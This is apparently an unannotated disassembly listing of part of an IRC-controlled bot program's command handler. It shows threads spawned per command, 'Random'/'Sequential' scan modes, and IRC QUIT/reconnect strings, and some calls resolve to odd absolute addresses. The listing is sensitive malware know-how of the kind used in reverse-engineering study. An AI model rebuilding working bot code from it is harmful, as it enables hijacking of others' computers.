jmp short loc_4038D7
; ---------------------------------------------------------------------------
loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431408[ecx]
mov [ebp+var_74C], ecx
loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j
; sub_401ACD+1DEEj
cmp [ebp+var_74C], ebx
jz loc_403AE0
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB000
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40397F
loc_40395D: ; CODE XREF: sub_401ACD+1EB0j
cmp eax, ebx
jz short loc_40397F
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395D
loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej
; sub_401ACD+1E92j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D128
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E1
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E7
; ---------------------------------------------------------------------------
loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj
mov [ebp+var_7D0], bl
loc_4039E7: ; CODE XREF: sub_401ACD+1F12j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039F9
mov eax, offset aSequential ; "Sequential"
loc_4039F9: ; CODE XREF: sub_401ACD+1F25j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403A83
loc_403A71: ; CODE XREF: sub_401ACD+1FB4j
cmp [ebp+var_71C], ebx
jnz short loc_403A9E
push 32h
nop
call near ptr 26703BBh
jmp short loc_403A71
; ---------------------------------------------------------------------------
loc_403A83: ; CODE XREF: sub_401ACD+1FA2j
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BEE8
push eax
call sub_41B886
add esp, 0Ch
loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj
cmp [ebp+var_8], ebx
jnz short loc_403ABF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
loc_403ACC: ; CODE XREF: sub_401ACD+1D94j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403817
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE0: ; CODE XREF: sub_401ACD+1E10j
push offset unk_42BEB0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403AEA: ; CODE XREF: sub_401ACD+1B65j
; sub_401ACD+1B7Aj
push 5
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403B00
push offset unk_42BE90
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403B00: ; CODE XREF: sub_401ACD+2027j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B23
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B37
; ---------------------------------------------------------------------------
loc_403B23: ; CODE XREF: sub_401ACD+203Cj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
nop
call near ptr 266039Ah
loc_403B37: ; CODE XREF: sub_401ACD+2054j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B47
mov esi, offset byte_429108
loc_403B47: ; CODE XREF: sub_401ACD+2073j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42BE5C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset word_411796
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403C13
loc_403BFD: ; CODE XREF: sub_401ACD+2144j
cmp [ebp+var_2AB4], ebx
jnz loc_40828B
push 32h
call near ptr 26703BBh
nop
jmp short loc_403BFD
; ---------------------------------------------------------------------------
loc_403C13: ; CODE XREF: sub_401ACD+212Ej
nop
call near ptr 2670D70h
push eax
push offset unk_42BE20
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj
; sub_401ACD+1B50j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C43
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C43
push edi
call sub_41B779
pop ecx
jmp short loc_403C48
; ---------------------------------------------------------------------------
loc_403C43: ; CODE XREF: sub_401ACD+2160j
; sub_401ACD+216Bj
mov eax, dword_42907C
loc_403C48: ; CODE XREF: sub_401ACD+2174j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7B
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA6
; ---------------------------------------------------------------------------
loc_403C7B: ; CODE XREF: sub_401ACD+219Bj
lea eax, [ebp+var_4FF4]
push 104h
push eax
nop
call near ptr 2670000h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA6: ; CODE XREF: sub_401ACD+21ACj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD1
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD1: ; CODE XREF: sub_401ACD+21EEj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BDE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403D85
loc_403D73: ; CODE XREF: sub_401ACD+22B6j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_403D73
; ---------------------------------------------------------------------------
loc_403D85: ; CODE XREF: sub_401ACD+22A4j
nop
call near ptr 2670D70h
push eax
push offset unk_42BDA8
loc_403D91: ; CODE XREF: sub_401ACD+2419j
; sub_401ACD+4D04j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA0: ; CODE XREF: sub_401ACD+22ACj
; sub_401ACD+23FDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push edi
jmp loc_407285
; ---------------------------------------------------------------------------
loc_403DB0: ; CODE XREF: sub_401ACD+1B11j
; sub_401ACD+1B26j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DCF
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DCF
push edi
call sub_41B779
pop ecx
jmp short loc_403DD4
; ---------------------------------------------------------------------------
loc_403DCF: ; CODE XREF: sub_401ACD+22ECj
; sub_401ACD+22F7j
mov eax, dword_429080
loc_403DD4: ; CODE XREF: sub_401ACD+2300j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEB
lea eax, [ebp+var_C4]
loc_403DEB: ; CODE XREF: sub_401ACD+2316j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0D
mov esi, offset dword_43D128
loc_403E0D: ; CODE XREF: sub_401ACD+2339j
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BD6C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset byte_410A4D
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_403EDA
loc_403EC4: ; CODE XREF: sub_401ACD+240Bj
cmp [ebp+var_180C], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_403EC4
; ---------------------------------------------------------------------------
loc_403EDA: ; CODE XREF: sub_401ACD+23F5j
nop
call near ptr 2670D70h
push eax
push offset unk_42BD30
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j
; sub_401ACD+1AFCj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFE
push esi
call sub_41B779
jmp short loc_403F05
; ---------------------------------------------------------------------------
loc_403EFE: ; CODE XREF: sub_401ACD+2427j
push 0Bh
call sub_40B35D
loc_403F05: ; CODE XREF: sub_401ACD+242Fj
cmp eax, ebx
pop ecx
jz loc_409854
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA56
jmp loc_4043B9
; ---------------------------------------------------------------------------
loc_403F25: ; CODE XREF: sub_401ACD+1ABDj
; sub_401ACD+1AD2j
mov eax, dword_4CAE90
cmp eax, ebx
jz short loc_403F42
call eax
test eax, eax
jz short loc_403F3B
push offset unk_42BD0C
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F3B: ; CODE XREF: sub_401ACD+2465j
push offset unk_42BCE0
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F42: ; CODE XREF: sub_401ACD+245Fj
push offset unk_42BCB4
loc_403F47: ; CODE XREF: sub_401ACD+246Cj
; sub_401ACD+2473j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDB
; ---------------------------------------------------------------------------
loc_403F5D: ; CODE XREF: sub_401ACD+1A93j
; sub_401ACD+1AA8j
call sub_40AB31
test eax, eax
jz short loc_403F6D
push offset unk_42BC90
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F6D: ; CODE XREF: sub_401ACD+2497j
push offset unk_42BC64
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F74: ; CODE XREF: sub_401ACD+1A69j
; sub_401ACD+1A7Ej
cmp [ebp+var_8], ebx
jnz short loc_403F93
push ebx
push [ebp+var_4]
push offset dword_42BC4C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403F93: ; CODE XREF: sub_401ACD+24AAj
push ebx
push [ebp+var_4]
call sub_4181D6
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BC30
jmp loc_404285
; ---------------------------------------------------------------------------
loc_403FB5: ; CODE XREF: sub_401ACD+18F9j
; sub_401ACD+190Ej
push 0Ah
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403FCB
push offset unk_42BC04
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FCB: ; CODE XREF: sub_401ACD+24F2j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEA
push offset unk_42BBDC
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FEA: ; CODE XREF: sub_401ACD+2511j
push offset unk_42BBBC
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FF4: ; CODE XREF: sub_401ACD+18CFj
; sub_401ACD+18E4j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CE
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400D: ; CODE XREF: sub_401ACD+18A5j
; sub_401ACD+18BAj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C28
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402A: ; CODE XREF: sub_401ACD+187Bj
; sub_401ACD+1890j
or edi, 0FFFFFFFFh
nop
call near ptr 2680CBAh
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404053
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404053: ; CODE XREF: sub_401ACD+257Bj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406C
cmp edi, 0FFFFFFFFh
jnz loc_409854
loc_40406C: ; CODE XREF: sub_401ACD+2594j
push ebx
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BBA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_4040AA: ; CODE XREF: sub_401ACD+529Cj
add esp, 24h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4040B2: ; CODE XREF: sub_401ACD+1851j
; sub_401ACD+1866j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A2F
add esp, 0Ch
push offset dword_42BB84
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_4040D0: ; CODE XREF: sub_401ACD+1827j
; sub_401ACD+183Cj
push 27h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_404104
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42BB64
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_4040FC: ; CODE XREF: sub_401ACD+7237j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404104: ; CODE XREF: sub_401ACD+260Dj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404165
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404165
mov [ebp+var_AA8], 1
loc_404165: ; CODE XREF: sub_401ACD+267Bj
; sub_401ACD+268Cj
lea eax, [ebp+var_2C4]
push offset dword_42BB40
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EB
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4041D3
loc_4041BD: ; CODE XREF: sub_401ACD+2704j
cmp [ebp+var_A9C], ebx
jnz loc_409630
push 32h
nop
call near ptr 26703BBh
jmp short loc_4041BD
; ---------------------------------------------------------------------------
loc_4041D3: ; CODE XREF: sub_401ACD+26EEj
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BB04
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409630
; ---------------------------------------------------------------------------
loc_4041F3: ; CODE XREF: sub_401ACD+17FDj
; sub_401ACD+1812j
cmp [ebp+var_8], ebx
jnz short loc_404212
push ebx
push [ebp+var_4]
push offset dword_42BAE8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404212: ; CODE XREF: sub_401ACD+2729j
push [ebp+arg_4]
call dword_4CB00C
call dword_4CAECC
call sub_418359
push ebx
nop
call near ptr 77E75CB5h
loc_40422D: ; CODE XREF: sub_401ACD+17D3j
; sub_401ACD+17E8j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA42
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BACC
jmp short loc_404285
; ---------------------------------------------------------------------------
loc_404258: ; CODE XREF: sub_401ACD+17A9j
; sub_401ACD+17BEj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42BAB0
loc_404285: ; CODE XREF: sub_401ACD+24E3j
; sub_401ACD+2789j
call sub_4151AC
add esp, 18h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_404292: ; CODE XREF: sub_401ACD+177Fj
; sub_401ACD+1794j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524C
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AB: ; CODE XREF: sub_401ACD+1755j
; sub_401ACD+176Aj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EA
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EA
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EA
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EA: ; CODE XREF: sub_401ACD+27E7j
; sub_401ACD+27F2j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42BA98
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset byte_41528D
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40438D
loc_404377: ; CODE XREF: sub_401ACD+28BEj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
nop
call near ptr 26703BBh
jmp short loc_404377
; ---------------------------------------------------------------------------
loc_40438D: ; CODE XREF: sub_401ACD+28A8j
nop
call near ptr 2670D70h
push eax
push offset unk_42BA60
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_401ACD+172Bj
; sub_401ACD+1740j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415134
push offset dword_42BA48
call sub_4151AC
loc_4043B9: ; CODE XREF: sub_401ACD+2453j
add esp, 10h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4043C1: ; CODE XREF: sub_401ACD+1701j
; sub_401ACD+1716j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441B
push offset dword_42BA44
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404421
; ---------------------------------------------------------------------------
loc_40441B: ; CODE XREF: sub_401ACD+2932j
mov [ebp+var_B40], ebx
loc_404421: ; CODE XREF: sub_401ACD+294Cj
lea eax, [ebp+var_2C4]
push offset dword_42BA24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset byte_40B161
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40448F
loc_404479: ; CODE XREF: sub_401ACD+29C0j
cmp [ebp+var_B34], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 26703BBh
jmp short loc_404479
; ---------------------------------------------------------------------------
loc_40448F: ; CODE XREF: sub_401ACD+29AAj
nop
call near ptr 2670D70h
push eax
push offset unk_42B9E8
jmp loc_409226
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: sub_401ACD+1685j
; sub_401ACD+169Aj
push offset aDark ; "Dark"
push offset dword_42B9D0
loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_4044D7: ; CODE XREF: sub_401ACD+165Bj
; sub_401ACD+1670j
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push offset unk_42B9A4
jmp short loc_4044AA
; ---------------------------------------------------------------------------
loc_4044EB: ; CODE XREF: sub_401ACD+1631j
; sub_401ACD+1646j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451D
cmp [ebp+var_C], ebx
jz short loc_40452C
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452C
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
jmp short loc_40452C
; ---------------------------------------------------------------------------
loc_40451D: ; CODE XREF: sub_401ACD+2A27j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
pop ecx
loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj
; sub_401ACD+2A3Bj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404533: ; CODE XREF: sub_401ACD+1607j
; sub_401ACD+161Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B954
call sub_4151AC
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404555: ; CODE XREF: sub_401ACD+15DDj
; sub_401ACD+15F2j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42B920
call sub_4151AC
add esp, 0Ch
jmp loc_4097B9
; ---------------------------------------------------------------------------
loc_404574: ; CODE XREF: sub_401ACD+15B3j
; sub_401ACD+15C8j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DA
jmp loc_404933
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_401ACD+1589j
; sub_401ACD+159Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B785
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045A0: ; CODE XREF: sub_401ACD+155Fj
; sub_401ACD+1574j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B719
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_401ACD+1535j
; sub_401ACD+154Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64A
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045CC: ; CODE XREF: sub_401ACD+1490j
; sub_401ACD+14A5j
push [ebp+esi+var_8C]
push 27h
push offset dword_42B910
push offset dword_42B900
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045E4: ; CODE XREF: sub_401ACD+1466j
; sub_401ACD+147Bj
push [ebp+esi+var_8C]
push 24h
push offset dword_42B8F4
push offset dword_42B8E4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045FC: ; CODE XREF: sub_401ACD+1082j
; sub_401ACD+1097j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461B
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461B
push edi
call sub_41B779
pop ecx
jmp short loc_404620
; ---------------------------------------------------------------------------
loc_40461B: ; CODE XREF: sub_401ACD+2B38j
; sub_401ACD+2B43j
mov eax, dword_429074
loc_404620: ; CODE XREF: sub_401ACD+2B4Cj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404645
push esi
loc_404632: ; CODE XREF: sub_401ACD+2B87j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465C
; ---------------------------------------------------------------------------
loc_404645: ; CODE XREF: sub_401ACD+2B62j
cmp [ebp+var_8FF], bl
jz short loc_404656
lea eax, [ebp+var_C4]
push eax
jmp short loc_404632
; ---------------------------------------------------------------------------
loc_404656: ; CODE XREF: sub_401ACD+2B7Ej
mov [ebp+var_5A0], bl
loc_40465C: ; CODE XREF: sub_401ACD+2B76j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B8BC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset byte_4111CD
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40470D
loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
nop
call near ptr 26703BBh
jmp short loc_4046F7
; ---------------------------------------------------------------------------
loc_40470D: ; CODE XREF: sub_401ACD+2C28j
nop
call near ptr 2670D70h
push eax
push offset dword_42B880
jmp loc_402077
